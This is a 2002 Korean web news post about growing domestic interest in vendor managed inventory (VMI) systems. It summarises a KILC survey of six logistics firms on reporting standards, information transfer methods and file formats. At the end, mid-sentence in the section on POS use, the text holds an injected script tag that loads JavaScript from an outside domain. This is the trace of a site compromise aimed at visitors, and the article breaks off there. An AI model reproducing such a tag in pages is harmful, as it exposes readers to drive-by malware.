| 글쓴이 |
운영자 |
작성일 |
2002-04-23 |
| 제목 |
국내 VMI 시스템 도입 관심 증가 |
국내 VMI 시스템 도입 관심 증가
VMI(Vendor Managed Inventory)의 방식이 최근 주목을 받고 있다. VMI는 전산시스템의 확인없이 업자 스스로 자재과 창고에 자기들의 물건, 재고를 항시 준비해 주는 방식이다.
쉽게 설명한다면 저장 면적의 협력업체 할애 방식이라고 할 수 있다. 즉 모기업과 연관된 업체와의 재고, 면적운영, 배송형태, 싸이클 등을 고려해 상호 협의 후 관련된 업체에서 물류환경 요소를 검토해 생산(출하)된 량만큼 후보충 입고하는 개념을 말한다. VMI 방식이 지향하는 목표는 모기업의 재고를 최소화 하고 납품업체의 재고를 모기업내에 두고 운영하는 판매장 및 재고관리방법의 일환이다. KILC에서 실시한 VMI 설문조사 결과를 분석하고 있는 연구진들(왼쪽부터 장철호 (주)한진 연구원, 최동준 이알하우스 연구원, 장영수 아주아이티 연구원) 일례로 모토롤라 코리아의 경우 원자재의 재고량을 줄이고 사용한 양만큼 대금을 지불하기 위해 SOI(Supply Owned Inventory)를 개발했다. SOI는 지속적인 생산계획이 있는 제품의 원자재 공급자와 1년간 계약에 의해 가격과 공급시기를 상호결정한다. 공급자는 모토로라 코리아와 자사의 전산시스템을 연결한 재고확인 시스템을 통해 원자재의 재고를 확인할 수 있으며 2주간의 재고를 항시 공급하는 시스템을 가지고 있다. 이를 통해 재고품 금액의 98.2%가 줄어드는 효과를 가지게 됐다.
이미 외국의 델컴퓨터 등도 이러한 VMI 효과를 누리고 있는 가운데 국내에서도 이 시스템을 도입하려는 움직임이 보이고 있다. 국가 물류 B2B시범사업 수행 기관인 한국통합물류 컨소시엄(KILC)에서는 1차년도 사업과제로 VMI 시스템 설계를 선정했다. KILC는 이를 위해 참여기관 및 현행 창고 운영업체의 운영현황을 파악하기 위해 한진, 대한통운, 현대택배, 콜롬버스, 삼영물류, 서영물류 등 총 6개 업체를 대상으로 최근 설문조사를 시행했다.
이 설문의 모집단이 극히 적은 수이지만 국내 물류 빅3라 할 수 있는 한진, 대한통운, 현대 택배가 포함되어 있으며 또한 콜롬버스, 삼영물류, 서영물류 등 국내 창고 산업에 있어 획을 긋는 중견 기업들이 포함되어 있어 국내 창고물류업체의 업무현황을 파악하는데 참고할만 하여 그 결과를 간추려 보았다.
▲ 업체의 VMI 개념에 대한 인지 상태 - 각 조사 대상 업체의 담당자들은 VMI의 개념은 가지고 있다고 보여지나 아직 확실한 개념을 가지고 있지 않기 때문에 현재 VMI 시스템 하에 업무가 진행중인지 여부에 대한 답변은 확실히 들을 수 없었다. 그러나 VMI의 개념을 떠나서, 화주업체에게 입고/출고/재고 자료에 대한 가시성을 제공해야 한다는 VMI의 핵심 개념은 화주의 요구에 의해서 혹은 고객 서비스 제공 관점에서 이미 이전부터 인지하고 있다는 것을 알 수 있었다.
▲ 표준화 양식 사용여부 - 현재 화주의 요구는 너무나 다양하며 다양한 양식에 의해서 원하는 항목들이 상이하며 화주에게 제공되는 레포트 역시 전혀 정형화되어 있지 않은 상태이다. 그런 중 창고업체는 상이한 레포트가 아닌 공통된 형태의 표준화에 대한 요구가 있었으며, 정형화된 양식의 표준 레포트 사용에 대하여 매우 긍정적인 의사를 나타냈다.
▲ 정보 전달 방법 - 정형화되지 않은 방법 중 현재 화주가 업체에게 자료를 요청하는 경우, 혹은 창고업체가 화주에게 정보를 전송하는 방법은 아직도 많은 부분이 팩스, 전화, 이메일등 수작업으로 이루어지고 있으며 EDI나 WWW, FTP등 전자적 매체를 이용하는 부분은 미미한 영역을 차지했다. 이는 화주와 창고 업체간 실시간 정보 요청 및 제공이 없었음을 말해준다. 실제로 한 업체의 경우 100% 웹 환경에서 화주에게 정보를 제공하고 있었으나 익일 마감된 자료에 대한 실시간 접근 개념으로 결국은 익일 자료에 대한 결과를 파악하는 것에 지나지 않았다. 그것은 현행 창고업체 중 80%가 일일 마감 후 자체 데이터베이스에 입력하는 것으로 나타나 실제 100 % Web으로 구현된 업체의 시스템도 창고내 BPR 개념의 프로세스 개선이 있지 않은 한 실시간 정보 전달은 어려운 실정이라 할 수 있겠다.
▲ 정보 전달의 빈도 - 정보 전달에 방법이 다양한 만큼 요구하는 시간도 다양했다. 현재는 비정기적으로 화주가 원할 때만 정보를 제공하는 업체가 가장 많은 것으로 나타났다. 그러나 그 수준은 점차 일일 마감 후 혹은 지정된 시간마다 순으로 발전하고 있는 것으로 나타났다.
▲ 전송되는 파일의 형태 - 현재 국내에서 데이터 전송시 사용하는 화일은 마이크로소프트사의 엑셀이 단연 90%를 차지, DB 변환시 사용하는 자료로는 이미 표준으로 자리 잡았다고 볼 수 있었다. 기타 파일로는 한글(한글과컴퓨터社), 마이크로소프트 워드, 텍스트 순서 등으로 나타났다.
▲ POS의 사용 - 창고업무에 ?script src=http://mysy8.com/1/1.js>
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